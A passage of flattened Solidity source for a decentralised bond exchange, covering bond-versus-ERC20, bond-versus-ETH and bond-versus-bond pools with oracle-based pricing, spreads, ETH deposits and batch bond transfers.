_exchangeErc20ToBond( address buyer, bytes32 bondID, bytes32 poolID, uint256 swapPairAmount ) internal returns (uint256 bondAmount) { ( address seller, ERC20 swapPairToken, , , , bool isBondSale ) = _getVsErc20Pool(poolID); require(isBondSale, "This pool is for buying bond"); (ERC20 bondToken, , , ) = _getBond(_bondMakerContract, bondID); require(address(bondToken) != address(0), "the bond is not registered"); uint256 volumeE8; { ( uint256 rateE8, , uint256 swapPairPriceE8, ) = _calcRateBondToErc20(bondID, poolID); require( rateE8 > MIN_EXCHANGE_RATE_E8, "exchange rate is too small" ); require( rateE8 < MAX_EXCHANGE_RATE_E8, "exchange rate is too large" ); uint8 decimalsOfSwapPair = swapPairToken.decimals(); bondAmount = _applyDecimalGap( swapPairAmount, decimalsOfSwapPair, DECIMALS_OF_BOND + 8 ) / rateE8; require(bondAmount != 0, "must transfer non-zero bond amount"); volumeE8 = swapPairPriceE8.mul(swapPairAmount).div( 10**uint256(decimalsOfSwapPair) ); } require( bondToken.transferFrom(seller, buyer, bondAmount), "fail to transfer bonds" ); swapPairToken.safeTransferFrom(buyer, seller, swapPairAmount); emit LogExchangeErc20ToBond( buyer, bondID, poolID, bondAmount, swapPairAmount, volumeE8 ); } /** * @dev Exchange buyer's bond to the seller's ERC20 token. * Ensure the seller has approved sufficient ERC20 token and * buyer approve bonds to pay before executing this function. * @param buyer is the buyer address. * @param bondID is the target bond ID. * @param poolID is the target pool ID. * @param bondAmount is the bond amount to pay. * @return swapPairAmount is the received swap pair token amount. */ function _exchangeBondToErc20( address buyer, bytes32 bondID, bytes32 poolID, uint256 bondAmount ) internal returns (uint256 swapPairAmount) { ( address seller, ERC20 swapPairToken, , , , bool isBondSale ) = _getVsErc20Pool(poolID); require(!isBondSale, "This pool is not for buying bond"); (ERC20 bondToken, , , ) = _getBond(_bondMakerContract, bondID); require(address(bondToken) != address(0), "the bond is not registered"); uint256 volumeE8; { (uint256 rateE8, uint256 bondPriceE8, , ) = _calcRateBondToErc20( bondID, poolID ); require( rateE8 > MIN_EXCHANGE_RATE_E8, "exchange rate is too small" ); require( rateE8 < MAX_EXCHANGE_RATE_E8, "exchange rate is too large" ); uint8 decimalsOfSwapPair = swapPairToken.decimals(); swapPairAmount = _applyDecimalGap( bondAmount.mul(rateE8), DECIMALS_OF_BOND + 8, decimalsOfSwapPair ); require(swapPairAmount != 0, "must transfer non-zero token amount"); volumeE8 = bondPriceE8.mul(bondAmount).div( 10**uint256(DECIMALS_OF_BOND) ); } require( bondToken.transferFrom(buyer, seller, bondAmount), "fail to transfer bonds" ); swapPairToken.safeTransferFrom(seller, buyer, swapPairAmount); emit LogExchangeBondToErc20( buyer, bondID, poolID, bondAmount, swapPairAmount, volumeE8 ); } function _calcRateBondToErc20(bytes32 bondID, bytes32 poolID) internal returns ( uint256 rateE8, uint256 bondPriceE8, uint256 swapPairPriceE8, int256 spreadE8 ) { ( , , LatestPriceOracleInterface erc20Oracle, BondPricerInterface bondPricer, int16 feeBaseE4, bool isBondSale ) = _getVsErc20Pool(poolID); swapPairPriceE8 = _getLatestPrice(erc20Oracle); (bondPriceE8, spreadE8) = _calcBondPriceAndSpread( bondPricer, bondID, feeBaseE4 ); bondPriceE8 = _calcUsdPrice(bondPriceE8); rateE8 = bondPriceE8.mul(10**8).div( swapPairPriceE8, "ERC20 oracle price must be non-zero" ); // `spreadE8` is less than 0.15 * 10**8. if (isBondSale) { rateE8 = rateE8.mul(uint256(10**8 + spreadE8)) / 10**8; } else { rateE8 = rateE8.mul(10**8) / uint256(10**8 + spreadE8); } } function _generateVsErc20PoolID( address seller, address swapPairAddress, bool isBondSale ) internal view returns (bytes32 poolID) { return keccak256( abi.encode( "Bond vs ERC20 exchange", address(this), seller, swapPairAddress, isBondSale ) ); } function _setVsErc20Pool( bytes32 poolID, address seller, ERC20 swapPairToken, LatestPriceOracleInterface swapPairOracle, BondPricerInterface bondPricer, int16 feeBaseE4, bool isBondSale ) internal { require(seller != address(0), "the pool ID already exists"); require( address(swapPairToken) != address(0), "swapPairToken should be non-zero address" ); require( address(swapPairOracle) != address(0), "swapPairOracle should be non-zero address" ); require( address(bondPricer) != address(0), "bondPricer should be non-zero address" ); _vsErc20Pool[poolID] = VsErc20Pool({ seller: seller, swapPairToken: swapPairToken, swapPairOracle: swapPairOracle, bondPricer: bondPricer, feeBaseE4: feeBaseE4, isBondSale: isBondSale }); } function _createVsErc20Pool( address seller, ERC20 swapPairToken, LatestPriceOracleInterface swapPairOracle, BondPricerInterface bondPricer, int16 feeBaseE4, bool isBondSale ) internal returns (bytes32 poolID) { poolID = _generateVsErc20PoolID( seller, address(swapPairToken), isBondSale ); require( _vsErc20Pool[poolID].seller == address(0), "the pool ID already exists" ); { uint256 price = _getLatestPrice(swapPairOracle); require( price != 0, "swapPairOracle has latestPrice() function which returns non-zero value" ); } _setVsErc20Pool( poolID, seller, swapPairToken, swapPairOracle, bondPricer, feeBaseE4, isBondSale ); if (isBondSale) { emit LogCreateErc20ToBondPool( poolID, seller, address(swapPairToken) ); } else { emit LogCreateBondToErc20Pool( poolID, seller, address(swapPairToken) ); } emit LogUpdateVsErc20Pool( poolID, address(swapPairOracle), address(bondPricer), feeBaseE4 ); } function _updateVsErc20Pool( bytes32 poolID, LatestPriceOracleInterface swapPairOracle, BondPricerInterface bondPricer, int16 feeBaseE4 ) internal isExsistentVsErc20Pool(poolID) { ( address seller, ERC20 swapPairToken, , , , bool isBondSale ) = _getVsErc20Pool(poolID); _setVsErc20Pool( poolID, seller, swapPairToken, swapPairOracle, bondPricer, feeBaseE4, isBondSale ); emit LogUpdateVsErc20Pool( poolID, address(swapPairOracle), address(bondPricer), feeBaseE4 ); } function _deleteVsErc20Pool(bytes32 poolID) internal isExsistentVsErc20Pool(poolID) { delete _vsErc20Pool[poolID]; emit LogDeleteVsErc20Pool(poolID); } function _getVsErc20Pool(bytes32 poolID) internal view isExsistentVsErc20Pool(poolID) returns ( address seller, ERC20 swapPairToken, LatestPriceOracleInterface swapPairOracle, BondPricerInterface bondPricer, int16 feeBaseE4, bool isBondSale ) { VsErc20Pool memory exchangePair = _vsErc20Pool[poolID]; seller = exchangePair.seller; swapPairToken = exchangePair.swapPairToken; swapPairOracle = exchangePair.swapPairOracle; bondPricer = exchangePair.bondPricer; feeBaseE4 = exchangePair.feeBaseE4; isBondSale = exchangePair.isBondSale; } } // File: contracts/util/TransferETH.sol pragma solidity 0.6.6; abstract contract TransferETH is TransferETHInterface { receive() external payable override { emit LogTransferETH(msg.sender, address(this), msg.value); } function _hasSufficientBalance(uint256 amount) internal view returns (bool ok) { address thisContract = address(this); return amount <= thisContract.balance; } /** * @notice transfer `amount` ETH to the `recipient` account with emitting log */ function _transferETH( address payable recipient, uint256 amount, string memory errorMessage ) internal { require(_hasSufficientBalance(amount), errorMessage); (bool success, ) = recipient.call{value: amount}(""); // solhint-disable-line avoid-low-level-calls require(success, "transferring Ether failed"); emit LogTransferETH(address(this), recipient, amount); } function _transferETH(address payable recipient, uint256 amount) internal { _transferETH(recipient, amount, "TransferETH: transfer amount exceeds balance"); } } // File: contracts/generalizedDotc/BondVsEthExchange.sol pragma solidity 0.6.6; abstract contract BondVsEthExchange is BondExchange, TransferETH { uint8 internal constant DECIMALS_OF_ETH = 18; struct VsEthPool { address seller; LatestPriceOracleInterface ethOracle; BondPricerInterface bondPricer; int16 feeBaseE4; bool isBondSale; } mapping(bytes32 => VsEthPool) internal _vsEthPool; mapping(address => uint256) internal _depositedEth; event LogCreateEthToBondPool( bytes32 indexed poolID, address indexed seller ); event LogCreateBondToEthPool( bytes32 indexed poolID, address indexed seller ); event LogUpdateVsEthPool( bytes32 indexed poolID, address ethOracleAddress, address bondPricerAddress, int16 feeBase // decimal: 4 ); event LogDeleteVsEthPool(bytes32 indexed poolID); event LogExchangeEthToBond( address indexed buyer, bytes32 indexed bondID, bytes32 indexed poolID, uint256 bondAmount, // decimal: 8 uint256 swapPairAmount, // decimal: 18 uint256 volume // USD, decimal: 8 ); event LogExchangeBondToEth( address indexed buyer, bytes32 indexed bondID, bytes32 indexed poolID, uint256 bondAmount, // decimal: 8 uint256 swapPairAmount, // decimal: 18 uint256 volume // USD, decimal: 8 ); /** * @dev Reverts when the pool ID does not exist. */ modifier isExsistentVsEthPool(bytes32 poolID) { require( _vsEthPool[poolID].seller != address(0), "the exchange pair does not exist" ); _; } /** * @notice Exchange buyer's ETH to the seller's bond. * @dev Ensure the seller has approved sufficient bonds and * you deposit ETH to pay before executing this function. * @param bondID is the target bond ID. * @param poolID is the target pool ID. * @param ethAmount is the exchange pair token amount to pay. * @param expectedAmount is the bond amount to receive. * @param range (decimal: 3) */ function exchangeEthToBond( bytes32 bondID, bytes32 poolID, uint256 ethAmount, uint256 expectedAmount, uint256 range ) external returns (uint256 bondAmount) { bondAmount = _exchangeEthToBond(msg.sender, bondID, poolID, ethAmount); // assert(bondAmount != 0); _assertExpectedPriceRange(bondAmount, expectedAmount, range); } /** * @notice Exchange buyer's bond to the seller's ETH. * @dev Ensure the seller has deposited sufficient ETH and * you approve bonds to pay before executing this function. * @param bondID is the target bond ID. * @param poolID is the target pool ID. * @param bondAmount is the bond amount to pay. * @param expectedAmount is the ETH amount to receive. * @param range (decimal: 3) */ function exchangeBondToEth( bytes32 bondID, bytes32 poolID, uint256 bondAmount, uint256 expectedAmount, uint256 range ) external returns (uint256 ethAmount) { ethAmount = _exchangeBondToEth(msg.sender, bondID, poolID, bondAmount); // assert(ethAmount != 0); _assertExpectedPriceRange(ethAmount, expectedAmount, range); } /** * @notice Returns the exchange rate including spread. */ function calcRateBondToEth(bytes32 bondID, bytes32 poolID) external returns (uint256 rateE8) { (rateE8, , , ) = _calcRateBondToEth(bondID, poolID); } /** * @notice Returns pool ID generated by the immutable pool settings. */ function generateVsEthPoolID(address seller, bool isBondSale) external view returns (bytes32 poolID) { return _generateVsEthPoolID(seller, isBondSale); } /** * @notice Register a new vsEthPool. */ function createVsEthPool( LatestPriceOracleInterface ethOracleAddress, BondPricerInterface bondPricerAddress, int16 feeBaseE4, bool isBondSale ) external returns (bytes32 poolID) { return _createVsEthPool( msg.sender, ethOracleAddress, bondPricerAddress, feeBaseE4, isBondSale ); } /** * @notice Update the mutable pool settings. */ function updateVsEthPool( bytes32 poolID, LatestPriceOracleInterface ethOracleAddress, BondPricerInterface bondPricerAddress, int16 feeBaseE4 ) external { require( _vsEthPool[poolID].seller == msg.sender, "not the owner of the pool ID" ); _updateVsEthPool( poolID, ethOracleAddress, bondPricerAddress, feeBaseE4 ); } /** * @notice Delete the pool settings. */ function deleteVsEthPool(bytes32 poolID) external { require( _vsEthPool[poolID].seller == msg.sender, "not the owner of the pool ID" ); _deleteVsEthPool(poolID); } /** * @notice Returns the pool settings. */ function getVsEthPool(bytes32 poolID) external view returns ( address seller, LatestPriceOracleInterface ethOracleAddress, BondPricerInterface bondPricerAddress, int16 feeBaseE4, bool isBondSale ) { return _getVsEthPool(poolID); } /** * @notice Transfer ETH to this contract and allow this contract to pay ETH when exchanging. */ function depositEth() external payable { _addEthAllowance(msg.sender, msg.value); } /** * @notice Withdraw all deposited ETH. */ function withdrawEth() external returns (uint256 amount) { amount = _depositedEth[msg.sender]; _transferEthFrom(msg.sender, msg.sender, amount); } /** * @notice Returns deposited ETH amount. */ function ethAllowance(address owner) external view returns (uint256 amount) { amount = _depositedEth[owner]; } /** * @dev Exchange buyer's ETH to the seller's bond. * Ensure the seller has approved sufficient bonds and * buyer deposit ETH to pay before executing this function. * @param buyer is the buyer address. * @param bondID is the target bond ID. * @param poolID is the target pool ID. * @param swapPairAmount is the exchange pair token amount to pay. * @return bondAmount is the received bond amount. */ function _exchangeEthToBond( address buyer, bytes32 bondID, bytes32 poolID, uint256 swapPairAmount ) internal returns (uint256 bondAmount) { (address seller, , , , bool isBondSale) = _getVsEthPool(poolID); require(isBondSale, "This pool is for buying bond"); (ERC20 bondToken, , , ) = _getBond(_bondMakerContract, bondID); require(address(bondToken) != address(0), "the bond is not registered"); uint256 volumeE8; { (uint256 rateE8, , uint256 swapPairPriceE8, ) = _calcRateBondToEth( bondID, poolID ); require( rateE8 > MIN_EXCHANGE_RATE_E8, "exchange rate is too small" ); require( rateE8 < MAX_EXCHANGE_RATE_E8, "exchange rate is too large" ); bondAmount = _applyDecimalGap( swapPairAmount, DECIMALS_OF_ETH, DECIMALS_OF_BOND + 8 ) / rateE8; require(bondAmount != 0, "must transfer non-zero bond amount"); volumeE8 = swapPairPriceE8.mul(swapPairAmount).div( 10**uint256(DECIMALS_OF_ETH) ); } require( bondToken.transferFrom(seller, buyer, bondAmount), "fail to transfer bonds" ); _transferEthFrom(buyer, seller, swapPairAmount); emit LogExchangeEthToBond( buyer, bondID, poolID, bondAmount, swapPairAmount, volumeE8 ); } /** * @dev Exchange buyer's bond to the seller's ETH. * Ensure the seller has deposited sufficient ETH and * buyer approve bonds to pay before executing this function. * @param buyer is the buyer address. * @param bondID is the target bond ID. * @param poolID is the target pool ID. * @param bondAmount is the bond amount to pay. * @return swapPairAmount is the received ETH amount. */ function _exchangeBondToEth( address buyer, bytes32 bondID, bytes32 poolID, uint256 bondAmount ) internal returns (uint256 swapPairAmount) { (address seller, , , , bool isBondSale) = _getVsEthPool(poolID); require(!isBondSale, "This pool is not for buying bond"); (ERC20 bondToken, , , ) = _getBond(_bondMakerContract, bondID); require(address(bondToken) != address(0), "the bond is not registered"); uint256 volumeE8; { (uint256 rateE8, uint256 bondPriceE8, , ) = _calcRateBondToEth( bondID, poolID ); require( rateE8 > MIN_EXCHANGE_RATE_E8, "exchange rate is too small" ); require( rateE8 < MAX_EXCHANGE_RATE_E8, "exchange rate is too large" ); swapPairAmount = _applyDecimalGap( bondAmount.mul(rateE8), DECIMALS_OF_BOND + 8, DECIMALS_OF_ETH ); require(swapPairAmount != 0, "must transfer non-zero token amount"); volumeE8 = bondPriceE8.mul(bondAmount).div( 10**uint256(DECIMALS_OF_BOND) ); } require( bondToken.transferFrom(buyer, seller, bondAmount), "fail to transfer bonds" ); _transferEthFrom(seller, buyer, swapPairAmount); emit LogExchangeBondToEth( buyer, bondID, poolID, bondAmount, swapPairAmount, volumeE8 ); } function _calcRateBondToEth(bytes32 bondID, bytes32 poolID) internal returns ( uint256 rateE8, uint256 bondPriceE8, uint256 swapPairPriceE8, int256 spreadE8 ) { ( , LatestPriceOracleInterface ethOracle, BondPricerInterface bondPricer, int16 feeBaseE4, bool isBondSale ) = _getVsEthPool(poolID); swapPairPriceE8 = _getLatestPrice(ethOracle); (bondPriceE8, spreadE8) = _calcBondPriceAndSpread( bondPricer, bondID, feeBaseE4 ); bondPriceE8 = _calcUsdPrice(bondPriceE8); rateE8 = bondPriceE8.mul(10**8).div( swapPairPriceE8, "ERC20 oracle price must be non-zero" ); // `spreadE8` is less than 0.15 * 10**8. if (isBondSale) { rateE8 = rateE8.mul(uint256(10**8 + spreadE8)) / 10**8; } else { rateE8 = rateE8.mul(uint256(10**8 - spreadE8)) / 10**8; } } function _generateVsEthPoolID(address seller, bool isBondSale) internal view returns (bytes32 poolID) { return keccak256( abi.encode( "Bond vs ETH exchange", address(this), seller, isBondSale ) ); } function _setVsEthPool( bytes32 poolID, address seller, LatestPriceOracleInterface ethOracle, BondPricerInterface bondPricer, int16 feeBaseE4, bool isBondSale ) internal { require(seller != address(0), "the pool ID already exists"); require( address(ethOracle) != address(0), "ethOracle should be non-zero address" ); require( address(bondPricer) != address(0), "bondPricer should be non-zero address" ); _vsEthPool[poolID] = VsEthPool({ seller: seller, ethOracle: ethOracle, bondPricer: bondPricer, feeBaseE4: feeBaseE4, isBondSale: isBondSale }); } function _createVsEthPool( address seller, LatestPriceOracleInterface ethOracle, BondPricerInterface bondPricer, int16 feeBaseE4, bool isBondSale ) internal returns (bytes32 poolID) { poolID = _generateVsEthPoolID(seller, isBondSale); require( _vsEthPool[poolID].seller == address(0), "the pool ID already exists" ); { uint256 price = ethOracle.latestPrice(); require( price != 0, "ethOracle has latestPrice() function which returns non-zero value" ); } _setVsEthPool( poolID, seller, ethOracle, bondPricer, feeBaseE4, isBondSale ); if (isBondSale) { emit LogCreateEthToBondPool(poolID, seller); } else { emit LogCreateBondToEthPool(poolID, seller); } emit LogUpdateVsEthPool( poolID, address(ethOracle), address(bondPricer), feeBaseE4 ); } function _updateVsEthPool( bytes32 poolID, LatestPriceOracleInterface ethOracle, BondPricerInterface bondPricer, int16 feeBaseE4 ) internal isExsistentVsEthPool(poolID) { (address seller, , , , bool isBondSale) = _getVsEthPool(poolID); _setVsEthPool( poolID, seller, ethOracle, bondPricer, feeBaseE4, isBondSale ); emit LogUpdateVsEthPool( poolID, address(ethOracle), address(bondPricer), feeBaseE4 ); } function _deleteVsEthPool(bytes32 poolID) internal isExsistentVsEthPool(poolID) { delete _vsEthPool[poolID]; emit LogDeleteVsEthPool(poolID); } function _getVsEthPool(bytes32 poolID) internal view isExsistentVsEthPool(poolID) returns ( address seller, LatestPriceOracleInterface ethOracle, BondPricerInterface bondPricer, int16 feeBaseE4, bool isBondSale ) { VsEthPool memory exchangePair = _vsEthPool[poolID]; seller = exchangePair.seller; ethOracle = exchangePair.ethOracle; bondPricer = exchangePair.bondPricer; feeBaseE4 = exchangePair.feeBaseE4; isBondSale = exchangePair.isBondSale; } function _transferEthFrom( address sender, address recipient, uint256 amount ) internal { _subEthAllowance(sender, amount); _transferETH(payable(recipient), amount); } function _addEthAllowance(address sender, uint256 amount) internal { _depositedEth[sender] += amount; require(_depositedEth[sender] >= amount, "overflow allowance"); } function _subEthAllowance(address owner, uint256 amount) internal { require(_depositedEth[owner] >= amount, "insufficient allowance"); _depositedEth[owner] -= amount; } } // File: contracts/generalizedDotc/BondVsBondExchange.sol pragma solidity 0.6.6; abstract contract BondVsBondExchange is BondExchange { /** * @dev the sum of decimalsOfBond and decimalsOfOraclePrice of the bondMaker. * This value is constant by the restriction of `_assertBondMakerDecimals`. */ uint8 internal constant DECIMALS_OF_BOND_VALUE = DECIMALS_OF_BOND + DECIMALS_OF_ORACLE_PRICE; struct VsBondPool { address seller; BondMakerInterface bondMakerForUser; VolatilityOracleInterface volatilityOracle; BondPricerInterface bondPricerForUser; BondPricerInterface bondPricer; int16 feeBaseE4; } mapping(bytes32 => VsBondPool) internal _vsBondPool; event LogCreateBondToBondPool( bytes32 indexed poolID, address indexed seller, address indexed bondMakerForUser ); event LogUpdateVsBondPool( bytes32 indexed poolID, address bondPricerForUser, address bondPricer, int16 feeBase // decimal: 4 ); event LogDeleteVsBondPool(bytes32 indexed poolID); event LogExchangeBondToBond( address indexed buyer, bytes32 indexed bondID, bytes32 indexed poolID, uint256 bondAmount, // decimal: 8 uint256 swapPairAmount, // USD, decimal: 8 uint256 volume // USD, decimal: 8 ); /** * @dev Reverts when the pool ID does not exist. */ modifier isExsistentVsBondPool(bytes32 poolID) { require( _vsBondPool[poolID].seller != address(0), "the exchange pair does not exist" ); _; } /** * @notice Exchange the seller's bond to buyer's multiple bonds. * @dev Ensure the seller has approved sufficient bonds and * Approve bonds to pay before executing this function. * @param bondID is the target bond ID. * @param poolID is the target pool ID. * @param amountInDollarsE8 is the exchange pair token amount to pay. (decimals: 8) * @param expectedAmount is the bond amount to receive. (decimals: 8) * @param range (decimal: 3) */ function exchangeBondToBond( bytes32 bondID, bytes32 poolID, bytes32[] calldata bondIDs, uint256 amountInDollarsE8, uint256 expectedAmount, uint256 range ) external returns (uint256 bondAmount) { uint256 amountInDollars = _applyDecimalGap( amountInDollarsE8, 8, DECIMALS_OF_BOND_VALUE ); bondAmount = _exchangeBondToBond( msg.sender, bondID, poolID, bondIDs, amountInDollars ); _assertExpectedPriceRange(bondAmount, expectedAmount, range); } /** * @notice Returns the exchange rate including spread. */ function calcRateBondToUsd(bytes32 bondID, bytes32 poolID) external returns (uint256 rateE8) { (rateE8, , , ) = _calcRateBondToUsd(bondID, poolID); } /** * @notice Returns pool ID generated by the immutable pool settings. */ function generateVsBondPoolID(address seller, address bondMakerForUser) external view returns (bytes32 poolID) { return _generateVsBondPoolID(seller, bondMakerForUser); } /** * @notice Register a new vsBondPool. */ function createVsBondPool( BondMakerInterface bondMakerForUserAddress, VolatilityOracleInterface volatilityOracleAddress, BondPricerInterface bondPricerForUserAddress, BondPricerInterface bondPricerAddress, int16 feeBaseE4 ) external returns (bytes32 poolID) { return _createVsBondPool( msg.sender, bondMakerForUserAddress, volatilityOracleAddress, bondPricerForUserAddress, bondPricerAddress, feeBaseE4 ); } /** * @notice Update the mutable pool settings. */ function updateVsBondPool( bytes32 poolID, VolatilityOracleInterface volatilityOracleAddress, BondPricerInterface bondPricerForUserAddress, BondPricerInterface bondPricerAddress, int16 feeBaseE4 ) external { require( _vsBondPool[poolID].seller == msg.sender, "not the owner of the pool ID" ); _updateVsBondPool( poolID, volatilityOracleAddress, bondPricerForUserAddress, bondPricerAddress, feeBaseE4 ); } /** * @notice Delete the pool settings. */ function deleteVsBondPool(bytes32 poolID) external { require( _vsBondPool[poolID].seller == msg.sender, "not the owner of the pool ID" ); _deleteVsBondPool(poolID); } /** * @notice Returns the pool settings. */ function getVsBondPool(bytes32 poolID) external view returns ( address seller, BondMakerInterface bondMakerForUserAddress, VolatilityOracleInterface volatilityOracle, BondPricerInterface bondPricerForUserAddress, BondPricerInterface bondPricerAddress, int16 feeBaseE4, bool isBondSale ) { return _getVsBondPool(poolID); } /** * @notice Returns the total approved bond amount in U.S. dollars. * Unnecessary bond must not be included in bondIDs. */ function totalBondAllowance( bytes32 poolID, bytes32[] calldata bondIDs, uint256 maturityBorder, address owner ) external returns (uint256 allowanceInDollarsE8) { ( , BondMakerInterface bondMakerForUser, VolatilityOracleInterface volatilityOracle, BondPricerInterface bondPricerForUser, , , ) = _getVsBondPool(poolID); uint256 allowanceInDollars = _totalBondAllowance( bondMakerForUser, volatilityOracle, bondPricerForUser, bondIDs, maturityBorder, owner ); allowanceInDollarsE8 = _applyDecimalGap( allowanceInDollars, DECIMALS_OF_BOND_VALUE, 8 ); } /** * @dev Exchange the seller's bond to buyer's multiple bonds. * Ensure the seller has approved sufficient bonds and * buyer approve bonds to pay before executing this function. * @param buyer is the buyer address. * @param bondID is the target bond ID. * @param poolID is the target pool ID. * @param amountInDollars is the exchange pair token amount to pay. (decimals: 16) * @return bondAmount is the received bond amount. */ function _exchangeBondToBond( address buyer, bytes32 bondID, bytes32 poolID, bytes32[] memory bondIDs, uint256 amountInDollars ) internal returns (uint256 bondAmount) { require(bondIDs.length != 0, "must input bonds for payment"); BondMakerInterface bondMakerForUser; { bool isBondSale; (, bondMakerForUser, , , , , isBondSale) = _getVsBondPool(poolID); require(isBondSale, "This pool is for buying bond"); } (ERC20 bondToken, uint256 maturity, , ) = _getBond( _bondMakerContract, bondID ); require(address(bondToken) != address(0), "the bond is not registered"); { (uint256 rateE8, , , ) = _calcRateBondToUsd(bondID, poolID); require( rateE8 > MIN_EXCHANGE_RATE_E8, "exchange rate is too small" ); require( rateE8 < MAX_EXCHANGE_RATE_E8, "exchange rate is too large" ); bondAmount = _applyDecimalGap( amountInDollars, DECIMALS_OF_BOND_VALUE, bondToken.decimals() + 8 ) / rateE8; require(bondAmount != 0, "must transfer non-zero bond amount"); } { ( address seller, , VolatilityOracleInterface volatilityOracle, BondPricerInterface bondPricerForUser, , , ) = _getVsBondPool(poolID); require( bondToken.transferFrom(seller, buyer, bondAmount), "fail to transfer bonds" ); address buyerTmp = buyer; // avoid `stack too deep` error uint256 amountInDollarsTmp = amountInDollars; // avoid `stack too deep` error require( _batchTransferBondFrom( bondMakerForUser, volatilityOracle, bondPricerForUser, bondIDs, maturity, buyerTmp, seller, amountInDollarsTmp ), "fail to transfer ERC20 token" ); } uint256 volumeE8 = _applyDecimalGap( amountInDollars, DECIMALS_OF_BOND_VALUE, 8 ); emit LogExchangeBondToBond( buyer, bondID, poolID, bondAmount, amountInDollars, volumeE8 ); } function _calcRateBondToUsd(bytes32 bondID, bytes32 poolID) internal returns ( uint256 rateE8, uint256 bondPriceE8, uint256 swapPairPriceE8, int256 spreadE8 ) { ( , , , , BondPricerInterface bondPricer, int16 feeBaseE4, ) = _getVsBondPool(poolID); (bondPriceE8, spreadE8) = _calcBondPriceAndSpread( bondPricer, bondID, feeBaseE4 ); bondPriceE8 = _calcUsdPrice(bondPriceE8); swapPairPriceE8 = 10**8; rateE8 = bondPriceE8.mul(uint256(10**8 + spreadE8)) / 10**8; } function _generateVsBondPoolID(address seller, address bondMakerForUser) internal view returns (bytes32 poolID) { return keccak256( abi.encode( "Bond vs SBT exchange", address(this), seller, bondMakerForUser ) ); } function _setVsBondPool( bytes32 poolID, address seller, BondMakerInterface bondMakerForUser, VolatilityOracleInterface volatilityOracle, BondPricerInterface bondPricerForUser, BondPricerInterface bondPricer, int16 feeBaseE4 ) internal { require(seller != address(0), "the pool ID already exists"); require( address(bondMakerForUser) != address(0), "bondMakerForUser should be non-zero address" ); require( address(bondPricerForUser) != address(0), "bondPricerForUser should be non-zero address" ); require( address(bondPricer) != address(0), "bondPricer should be non-zero address" ); _assertBondMakerDecimals(bondMakerForUser); _vsBondPool[poolID] = VsBondPool({ seller: seller, bondMakerForUser: bondMakerForUser, volatilityOracle: volatilityOracle, bondPricerForUser: bondPricerForUser, bondPricer: bondPricer, feeBaseE4: feeBaseE4 }); } function _createVsBondPool( address seller, BondMakerInterface bondMakerForUser, VolatilityOracleInterface volatilityOracle, BondPricerInterface bondPricerForUser, BondPricerInterface bondPricer, int16 feeBaseE4 ) internal returns (bytes32 poolID) { poolID = _generateVsBondPoolID(seller, address(bondMakerForUser)); require( _vsBondPool[poolID].seller == address(0), "the pool ID already exists" ); _assertBondMakerDecimals(bondMakerForUser); _setVsBondPool( poolID, seller, bondMakerForUser, volatilityOracle, bondPricerForUser, bondPricer, feeBaseE4 ); emit LogCreateBondToBondPool(poolID, seller, address(bondMakerForUser)); emit LogUpdateVsBondPool( poolID, address(bondPricerForUser), address(bondPricer), feeBaseE4 ); } function _updateVsBondPool( bytes32 poolID, VolatilityOracleInterface volatilityOracle, BondPricerInterface bondPricerForUser, BondPricerInterface bondPricer, int16 feeBaseE4 ) internal isExsistentVsBondPool(poolID) { ( address seller, BondMakerInterface bondMakerForUser, , , , , ) = _getVsBondPool(poolID); _setVsBondPool( poolID, seller, bondMakerForUser, volatilityOracle, bondPricerForUser, bondPricer, feeBaseE4 ); emit LogUpdateVsBondPool( poolID, address(bondPricerForUser), address(bondPricer), feeBaseE4 ); } function _deleteVsBondPool(bytes32 poolID) internal isExsistentVsBondPool(poolID) { delete _vsBondPool[poolID]; emit LogDeleteVsBondPool(poolID); } function _getVsBondPool(bytes32 poolID) internal view isExsistentVsBondPool(poolID) returns ( address seller, BondMakerInterface bondMakerForUser, VolatilityOracleInterface volatilityOracle, BondPricerInterface bondPricerForUser, BondPricerInterface bondPricer, int16 feeBaseE4, bool isBondSale ) { VsBondPool memory exchangePair = _vsBondPool[poolID]; seller = exchangePair.seller; bondMakerForUser = exchangePair.bondMakerForUser; volatilityOracle = exchangePair.volatilityOracle; bondPricerForUser = exchangePair.bondPricerForUser; bondPricer = exchangePair.bondPricer; feeBaseE4 = exchangePair.feeBaseE4; isBondSale = true; } /** * @dev Transfer multiple bonds in one method. * Unnecessary bonds can be included in bondIDs. */ function _batchTransferBondFrom( BondMakerInterface bondMaker, VolatilityOracleInterface volatilityOracle, BondPricerInterface bondPricer, bytes32[] memory bondIDs, uint256 maturityBorder, address sender, address recipient, uint256 amountInDollars ) internal returns (bool ok) { uint256 oraclePriceE8 = _getLatestPrice(bondMaker.oracleAddress()); uint256 rest = amountInDollars; // mutable for (uint256 i = 0; i < bondIDs.length; i++) { ERC20 bond; uint256 oracleVolE8; { uint256 maturity; (bond, maturity, , ) = _getBond(bondMaker, bondIDs[i]); if (maturity > maturityBorder) continue; // skip transaction uint256 untilMaturity = maturity.sub( _getBlockTimestampSec(), "the bond should not have expired" ); oracleVolE8 = _getVolatility( volatilityOracle, untilMaturity.toUint64() ); } uint256 allowance = bond.allowance(sender, address(this)); if (allowance == 0) continue; // skip transaction BondMakerInterface bondMakerTmp = bondMaker; // avoid `stack too deep` error BondPricerInterface bondPricerTmp = bondPricer; // avoid `stack too deep` error bytes32 bondIDTmp = bondIDs[i]; // avoid `stack too deep` error uint256 bondPrice = _calcBondPrice( bondMakerTmp, bondPricerTmp, bondIDTmp, oraclePriceE8, oracleVolE8 ); if (bondPrice == 0) continue; // skip transaction if (rest <= allowance.mul(bondPrice)) { // assert(ceil(rest / bondPrice) <= allowance); return bond.transferFrom( sender, recipient, rest.divRoundUp(bondPrice) ); } require( bond.transferFrom(sender, recipient, allowance), "fail to transfer bonds" ); rest -= allowance * bondPrice; } revert("insufficient bond allowance"); } /** * @dev Returns the total approved bond amount in U.S. dollars. * Unnecessary bond must not be included in bondIDs. */ function _totalBondAllowance( BondMakerInterface bondMaker, VolatilityOracleInterface volatilityOracle, BondPricerInterface bondPricer, bytes32[] memory bondIDs, uint256 maturityBorder, address sender ) internal returns (uint256 allowanceInDollars) { uint256 oraclePriceE8 = _getLatestPrice(bondMaker.oracleAddress()); for (uint256 i = 0; i < bondIDs.length; i++) { ERC20 bond; uint256 oracleVolE8; { uint256 maturity; (bond, maturity, , ) = _getBond(bondMaker, bondIDs[i]); if (maturity > maturityBorder) continue; // skip uint256 untilMaturity = maturity.sub( _getBlockTimestampSec(), "the bond should not have expired" ); oracleVolE8 = _getVolatility( volatilityOracle, untilMaturity.toUint64() ); } uint256 balance = bond.balanceOf(sender); require(balance != 0, "includes no bond balance"); uint256 allowance = bond.allowance(sender, address(this)); require(allowance != 0, "includes no approved bond"); uint256 bondPrice = 